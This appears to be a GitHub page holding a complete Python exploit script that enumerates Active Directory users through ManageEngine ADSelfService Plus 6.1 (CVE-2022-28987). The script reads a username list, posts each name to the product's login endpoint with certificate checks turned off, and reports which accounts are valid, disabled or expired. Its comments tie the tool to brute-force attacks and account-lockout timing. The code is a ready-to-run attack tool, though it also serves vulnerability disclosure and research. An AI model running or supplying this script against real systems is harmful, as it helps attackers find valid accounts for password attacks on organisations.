vulnerability-research / manage-engine-apps / adselfservice-userenum.py / <> Jump to

passtheticket Update adselfservice-userenum.py History

1 contributor

63 lines (53 sloc) | 2.34 KB ···

```python
# Exploit Title: ManageEngine ADSelfService Plus 6.1 - User Enumeration
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
# Version: ADSelfService 6.1 Build 6121
# Tested against: Build 6118 - 6121
# Details: https://www.manageengine.com/products/self-service-password/advisory/CVE-2022-28987.htm

# !/usr/bin/python3
import requests
import sys
import time
import urllib3
from urllib3.exceptions import InsecureRequestWarning

"""
The domain users can be enumerated like userenum module of the kerbrute tool using this exploit.
If you conducted a brute-force attack against a user, please run the script after 30 minutes (defa
"""

def request(target, user):
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    url = target + 'ServletAPI/accounts/login'
    data = {"loginName": user}
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}
    req = requests.post(url, data=data, headers=headers, verify=False)

    # For debugging
    # print("[*] Response for " + user + ": " + req.text.strip())
    if 'PASSWORD' in req.text:
        print("[+] " + user + " is VALID!")
    elif 'Your account has been disabled' in req.text:
        print("[+] " + user + " account has been DISABLED.")
    elif 'Your account has expired' in req.text:
        print("[+] " + user + " account has EXPIRED.")
    elif 'Enter the text as shown in the image.' in req.text:
        print("[!] The exploit doesn't detect expired and disabled users. Please, run it after the
    elif 'Permission Denied.' in req.text:
        print("[-] " + user + " is not found.")


def get_users(target, file):
    try:
        file = open(file, "r")
        for line in file:
            line = line.strip()
            time.sleep(0.5)
            request(target, user=line)
    except FileNotFoundError:
        print("[-] File not found!")
        sys.exit(1)


def main(args):
    if len(args) != 3:
        print("[*] Usage: %s url usernames_file" % (args[0]))
        print("[*] Example: %s https://target/ /tmp/usernames.txt" % (args[0]))
        sys.exit(1)
    get_users(target=args[1], file=args[2])


if __name__ == "__main__":
    main(args=sys.argv)
```